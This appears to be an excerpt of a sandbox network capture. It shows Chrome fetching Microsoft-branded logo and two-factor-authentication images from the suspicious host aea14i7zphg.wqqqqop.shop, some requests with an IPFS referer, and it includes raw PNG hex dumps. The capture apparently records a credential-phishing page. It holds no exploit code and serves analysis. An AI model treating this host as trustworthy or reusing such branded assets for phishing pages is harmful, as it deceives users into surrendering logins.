2024-05-27 17:30:44 UTC	494	IN	Data Raw: cf a2 28 3a 3d f9 4d 67 67 a7 b9 7c f9 f2 ee f3 e7 cf 3f 1e 86 e1 f3 c5 62 f1 d0 c9 93 27 07 cb 75 67 ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 a5 aa 9f ae f0 ec f0 c0 c4 8d 0e 55 13 91 b7 01 9c 2e 73 fc 4e 00 fb 83 20 78 2e 0c c3 d7 71 6d a7 e8 10 80 11 e7 dc 2d 22 f2 49 11 f9 40 85 b1 40 55 0f 46 51 54 9c c9 78 ea 6d d1 06 cb 18 b3 a2 96 fd 4d bc 35 f4 a1 89 af c9 31 4c 5b 4f 55 ff d4 de de fe 9c c7 a1 79 b1 68 97 1b 54 75 21 dd 9b 18 e7 8d 20 08 7a fb fa fa ae d6 7b 20 33 b5 68 83 05 60 c1 ae 64 4f 2c 75 fc a8 58 2c de 3f b9 b7 bf d1 2c e6 60 79 75 f4 e8 d1 11 11 e9 05 90 41 95 37 5a 38 e7 ae a8 ea 8f 01 dc 9b cf e7 1f 8b 99 ec 37 84 86 9f 63 a9 ea c1 52 a9 f4 fd 72 65 23 23 23 95 7e a1 2b 8b c5 e2 bc 7d d8 7a 67 67 e7 f5 3b 16 Data Ascii: (:=Mgg\|?b'ug-13+p<uhU.sN x.qm-"I@@UFQTxmM51L[OUyhTu! z{ 3h`dO,uX,?,`yuA7Z87cRre###~+}zgg;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	55944	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	380	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yMxrLwhfDXyInUgTImxzcWUvw5fNhvs299aZPOchm8qkvZnSnMAkFNPnO6CkUSXTLHbhy4gkblJrmxY6nByAF1Hde1RjpRGvdI5BeZarllFxwOMhKQ40f8RRBrlu%2FZs%2BUTC1li4t9NoS48A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a7a158c23-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-05-27 17:30:44 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	55946	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	612	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	845	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sWcjq0Pejhp1riLkKiq3NJ1vDKqkFeXCbSil37f2Y1rTjCvuQur9KcurcfeiIf5G3XoFaBlYF1OuA67a%2B9QDoFzw0it3PGLwty04fHH9BEHMDA%2BQGfoOI8j7y1eYoIVCxA97hoDopNJyzgA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a7dcd8c4e-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	524	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: aa 16 c3 30 ce 25 a2 db 46 11 d5 30 15 17 57 c5 e6 58 a6 69 ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 09 2a b2 2a 14 42 9c 07 00 77 21 62 29 fe 77 21 a2 63 a7 4f 9f fe 51 5f 5f df aa b0 63 ab 66 4c d3 bc 00 00 6e f5 b2 21 22 42 c4 b3 2d cb ba 37 a6 b0 46 25 f6 9f 42 d3 34 cf 21 a2 db 43 ea ee 7e 22 3a 5d 4a 59 08 a9 bf aa 45 08 71 31 22 de e8 65 33 42 54 3f 8d 2b 2e 37 62 15 96 10 62 2e 00 dc eb 35 8c 97 c0 d2 89 13 27 7e bb a7 a7 e7 a3 10 fb ac 2a 84 10 17 21 e2 4d 5e 36 44 44 00 70 ae 94 f2 ce 98 c2 f2 24 36 61 99 a6 39 4f 29 75 4f 00 51 ad 23 a2 d5 00 30 03 11 ff 21 60 f7 8f 37 36 36 ce 59 b4 68 d1 60 99 61 7a 22 84 e8 1e f9 6f c6 18 02 c0 2e 9c f3 a5 cb 96 2d fb bf 88 Data Ascii: 0%F0WXim{YQ0"u\|\|!* ~1*Bw!b)w!cOQ__cfLn!"B-7F%B4!C~":]JYEq1"e3BT?+.7bb.5'~!M^6DDp$6a9O)uOQ#0!`766Yh`az"o.-
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 30 12 e7 56 f7 bf 01 c0 f1 01 cc ef c9 66 b3 67 c1 38 14 15 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 00 22 fe ab 9f ad 6d db f7 66 b3 d9 33 60 9c 8a 0a 20 dc 7d ac 8d 6e 0d 44 f4 f9 10 fd c0 fe fb ef 3f 11 00 9e 04 7f 51 bd c9 39 3f 7c d1 a2 45 9e 59 a7 e5 82 88 7c c3 86 0d 0f 00 40 10 51 2d cc 66 b3 a7 c3 38 16 15 40 88 c2 92 52 6e 52 4a 7d 30 aa 13 c6 a6 08 21 76 09 c3 4f 77 77 37 af ab ab 5b 84 88 29 2f 3b a5 54 bf 52 aa 3d ec 43 6f 17 e6 43 70 51 9d 02 11 de 24 aa 16 42 3d d2 61 8c 79 6d 82 86 92 5d b0 71 e3 c6 0b 11 f1 60 2f 1b 22 ca 21 62 7b 36 9b 7d 2b 0c 9f 01 d8 3b 80 cd 03 3b 8a a8 00 c2 3f 2b 7c c3 a3 d9 2b f9 2f 10 a9 54 6a 2a 11 f9 e5 25 bd ae 94 4a 49 29 ff Data Ascii: 0Vfg8@RJmvcyKF"3{kjj9l7l"mf3` }nD?Q9?\|EY\|@Q-f8@RnRJ}0!vOww7[)/;TR=CoCpQ$B=aym]q`/"!b{6}+;;?+\|+/Tj*%JI)
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: bf 95 a2 92 c2 aa 21 a2 55 8c b1 6f b8 d9 10 d1 8b 93 27 4f 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 9e b1 40 c5 52 5c a5 94 05 ce f9 31 44 f4 a1 9b 0d 22 ee 3b 30 30 f0 20 84 f4 07 50 c4 cf e2 b1 88 f8 ab 72 93 05 5b 5a 5a 1a 37 6c d8 60 21 e2 4d 7e a2 02 00 40 c4 5a 44 3c 15 00 7e db da da fa d5 72 7c 57 9a 8a 26 c2 f5 f5 f5 fd 2d 99 4c be 85 88 5e f7 0d f7 9a 3e 7d ba ea eb eb 93 61 f8 ec ef ef 1f 98 3a 75 ea a3 01 f6 b9 f6 dc bc 79 f3 d7 93 c9 e4 a3 b9 5c ae e8 91 ab a3 a3 63 1a 11 65 10 f1 eb c5 7e d6 11 e1 b1 c9 64 f2 b9 5c 2e d7 57 ec e7 ab 81 8a 67 58 e6 72 b9 97 93 c9 64 02 3c aa d1 10 91 d1 dc dc fc 4a 5f 5f df 1f c3 f0 19 54 5c 88 38 03 00 be 39 63 c6 8c 25 6b Data Ascii: !Uo'OnYt0\|!_RB>Yeu40k@R\1D";00 Pr[ZZ7l`!M~@ZD<~r\|W&-L^>}a:uy\ce~d\.WgXrd<J__T\89c%k
2024-05-27 17:30:44 UTC	902	IN	Data Raw: 52 6a 30 c0 47 66 17 0a 85 97 4d d3 3c 24 f2 e0 22 c0 99 c4 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f 3b 22 fa 68 c2 84 09 6b e3 0e 68 34 c6 8d b0 00 00 a4 94 2b 39 e7 33 89 e8 77 01 3f 72 4a 3e 9f ff b3 61 18 e7 c2 18 f8 bf 10 42 9c 48 44 5e 25 2f ad de de de cd b1 05 e4 41 d5 ff 67 16 4b 3a 9d 7e 7b f2 e4 c9 06 11 3d 12 c4 de 79 03 71 be 61 18 ab 4c d3 fc c4 73 78 d5 82 23 aa fb bd 8e 76 18 63 bf 8c 33 26 2f c6 f4 0a c9 0f d3 34 8f 73 26 f6 81 d2 6a 94 52 8a 31 f6 48 6d 6d ed 45 d5 f4 52 ab 61 18 c7 2b a5 16 fa 9c 17 be 01 00 7b 87 71 c9 36 0c c6 b5 b0 00 fe 7e 0c f4 cb 62 de a4 26 a2 f7 19 63 b7 d6 d7 d7 cf ef e9 e9 f9 20 c2 f0 7c 31 4d f3 38 db b6 1f f0 11 55 9e 88 da Data Ascii: Rj0GfM<$"{eAdk)}NDb10-rcl;"hkh4+93w?rJ>aBHD^%/AgK:~{=yqaLsx#vc3&/4s&jR1HmmERa+{q6~b&c \|1M8U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	55949	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	379	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	866	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xjube15dqt%2B7TLT977HDdd5i96HrH73ub%2BIVu5g6IAA0leRGEnkjSAfWbHAcYW8xfuUX5pGqB4ELwuuTuXULOqsr%2BKwcKts5iyR%2FvH8nNssomyU%2FOxz%2B4VMycBpUwTQycYygdFxBnF7TOl4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a6fb043dc-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	503	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 3a 6e 96 65 22 58 a5 52 e9 f4 7a bd 7e 07 80 5b 6d 06 ea 64 00 26 99 f9 8e 6a b5 fa f7 44 24 69 d5 91 05 1d 1f 2c d7 75 4b 44 f4 f5 24 bb bc 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc 2d d5 09 60 0f 11 fd 90 99 f7 10 d1 4f 00 bc 41 44 47 88 a8 c1 cc 7d cc dc 27 22 4b 99 f9 bd 00 2e 00 b0 ca 18 73 5a 2b c7 10 91 63 cc 7c bb ef fb f7 10 11 5a f9 ed 3b 41 47 06 cb f3 bc 77 8b c8 93 cc 7c 41 9c ed 01 bc 05 e0 49 66 7e dc 71 9c 4a b9 5c fe 69 2b c7 db b0 61 83 73 e8 d0 a1 df 26 a2 21 00 1b 89 e8 a2 b8 bf 05 f0 c4 29 a7 9c b2 71 6c 6c ec 68 2b c7 ec 76 1d 17 ac 7c 3e bf 9a 88 46 8d 31 4b e6 da 16 c0 3e 22 fa 72 6f 6f ef 03 4f 3f fd f4 ff b6 b1 86 0f 1b 63 36 03 b8 99 99 7b e6 da 5e 44 be db d3 d3 73 c5 d8 d8 d8 6b ed aa Data Ascii: :ne"XRz~[md&jD$i,uKD$y7U*]H`-`OADG}'"K.sZ+c\|Z;AGw\|AIf~qJ\i+as&!)qllh+v\|>F1K>"rooO?c6{^Dsk
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 38 8e 39 7e fc f8 9e 89 89 89 9f cf 77 9f ed 06 60 2f 33 7f e4 e4 e5 22 72 66 1a f5 d8 64 25 58 22 72 a6 31 a1 8d e3 82 4f ac 67 4e ce bf b7 d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f 47 9f 61 b5 90 14 58 09 96 89 68 ae 00 bc 65 e3 f8 29 0a fd fb 00 0c d8 2e c4 36 5b 2d 56 54 97 37 e7 cd e4 2c 8b 0a 10 33 77 fd 24 6e b6 ae 0a a3 4e a8 fb 6d 1c 3f 2d cc 1c 3a 83 8d 88 74 fd 3c a7 b6 5a ac a8 b7 82 7f dd d2 f1 53 21 22 4b c3 96 03 e8 fa b7 76 6c 0d 90 86 b6 58 00 22 df 29 ec 06 cc bc 32 6c b9 31 26 d6 4d f7 2c b3 d5 15 ee 8d 58 d5 ec 35 f5 4c 9b 19 5f 8b 1a 08 8d fa f7 e8 1a b6 ba c2 5d 61 0b 67 ee f4 77 e5 73 e0 c6 98 35 4d 6e bc 3f 6f bb 1e db ac 04 cb 71 9c d0 60 19 63 96 b8 ae 6b f5 b9 74 5b 00 5c 16 b1 ea 50 b9 Data Ascii: 89~w`/3"rfd%X"r1OgN$@],[X`1]=s8QoGaXhe).6[-VT7,3w$nNm?-:t<ZS!"KvlX")2l1&M,X5L_]agws5Mn?oq`ckt[\P
2024-05-27 17:30:44 UTC	475	IN	Data Raw: ea fb fe 2b 27 6f 93 56 b0 88 62 8f 73 3d 0c e0 86 4e 08 57 e6 83 75 b2 52 a9 74 7a 10 04 17 11 d1 85 00 ce 23 a2 73 45 e4 34 63 cc 69 44 44 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df 2b 34 c6 fc bc 52 a9 84 be b1 d4 4c 96 c2 d5 75 c1 4a 52 93 60 b5 aa 5a ad 56 e7 f5 ed c2 38 57 8b 00 1e 9d 9a 9a da 98 e6 a7 82 33 73 f2 ae 4e a8 54 2a 3b 8c 31 1f 9f e3 ed 9f ab fb fb fb 1f 5c b5 6a d5 22 9b b5 bd 9d 06 2b 83 b2 10 2e 0d 56 46 75 7a b8 34 58 19 16 37 5c 7d 7d 7d 0f d9 0e 97 06 2b e3 e2 84 cb 18 73 95 ed 70 e9 55 61 82 5c d7 fd 4b 66 fe 42 c8 aa 79 5f 15 46 89 73 b5 28 22 8f 1d 3d 7a f4 7a 1b 57 8b da 62 75 89 98 af f3 5f d5 df df ff a0 8d 7a 34 58 5d 24 e6 44 24 57 db a8 45 83 d5 65 e2 9c 73 d9 a0 c1 ea 42 95 4a 65 Data Ascii: +'oVbs=NWuRtz#sE4ciDD"1u"zaf~t`mb+4RLuJR`ZV8W3sNT*;1\j"+.VFuz4X7\}}}+spUa\KfBy_Fs("=zzWbu_z4X]$D$WEesBJe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	55942	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	621	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HDg6Ko1Z9630%2Blt%2ByutVj6UGPKcJz48SJEk0fdTu3N5bDu1mD0qNsqiVdGREXyWrl7UMeTlIrKS6meUNdwFNvUPU%2F10KKMHT0k%2BMVhmTsiaM5w1ARMv9PgPWOW9kMScAHhIEYQ3x54vrlT8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a8967195d-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 8a 14 c6 03 eb b1 bf e9 a1 64 0d 55 48 c2 3b c7 23 9b bf d6 37 db 62 e6 fa 8c 82 ff 2a 7a 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 92 7e 62 7d 53 63 91 07 a8 36 b1 55 f8 11 f6 37 33 36 b9 dc c9 a3 01 88 7d e4 1f 0c 4c 43 32 15 42 b3 08 09 be be 0d 2c 41 c2 1b cd c0 76 c0 2e 48 86 e9 68 e4 67 3a 34 6b 81 31 48 f6 6a 45 9d b4 00 2f 12 6e 16 58 0d fc 05 f8 2a d9 a3 de 4d c0 7e c0 c5 c0 3f 80 8d 01 f5 9d 4a 95 76 93 8b ab 08 73 83 66 03 df 44 e7 a5 78 28 92 2d ba 28 90 ee 17 29 e8 dc 50 ec 80 2c af 7d de 94 05 48 b2 5d 2f 0f fa b7 02 57 03 6d 9e 6d 58 4c b5 61 5d 17 13 f1 77 33 3a 80 db 81 81 01 ec 18 8e e4 5a f9 1c 5c d7 06 b0 a3 14 0c c3 5f 20 f4 03 e0 c4 70 a6 fc 8f 73 f0 67 d3 4a 60 48 38 53 8a cb cd f8 b9 Data Ascii: dUH;#7bz`,Zd+Y,VIK2,~b}Sc6U736}LC2B,Av.Hhg:4k1HjE/nX*M~?JvsfDx(-()P,}H]/WmmXLa]w3:Z\_ psgJ`H8S
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: e2 b2 0f 2c 90 ba 0a b1 f5 d7 39 0e 18 63 ad 44 0a ef b8 5c ec fa 8e 95 3b e4 1f 90 b1 c0 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 05 17 23 5d 8b cc cf 72 bc 3e 14 23 91 9a e7 d6 0c 46 8a 90 14 81 39 96 5f 7e 3d f6 4f 56 56 69 47 56 89 56 34 03 8f f6 a0 57 8c b2 09 e3 fa 0d 9a 2d 77 43 c8 0a e0 10 2f 9e 48 e7 b6 8c 3a c6 20 a6 b3 15 48 5f 3c 6b 27 d4 2b 8b 80 83 7c 38 a3 06 4d c0 4d 1e ec f0 29 0f 78 f1 44 1d b4 20 e5 15 ad 1d 51 af 2c 43 4a 5b fa a6 2f 7a 9d 53 43 4a 14 75 64 9f c2 de 11 79 64 33 b2 ec f7 d5 b3 71 14 f0 42 04 76 e6 91 e3 3d f8 a3 6e 6e c6 de 11 2e 32 1d 29 ed a8 45 2b 70 1d c5 ac 72 b8 05 d9 1f 8c 22 dd e8 8b d8 3b 43 43 1e 43 56 8d 79 b3 3a 87 00 d7 20 85 72 ad 6d 71 91 d9 39 ed 57 67 37 Data Ascii: ,9cD\;IJld]/}mO<i>gb,#]r>#F9_~=OVViGVV4W-wC/H: H_<k'+\|8MM)xD Q,CJ[/zSCJudyd3qBv=nn.2)E+pr";CCCVy: rmq9Wg7
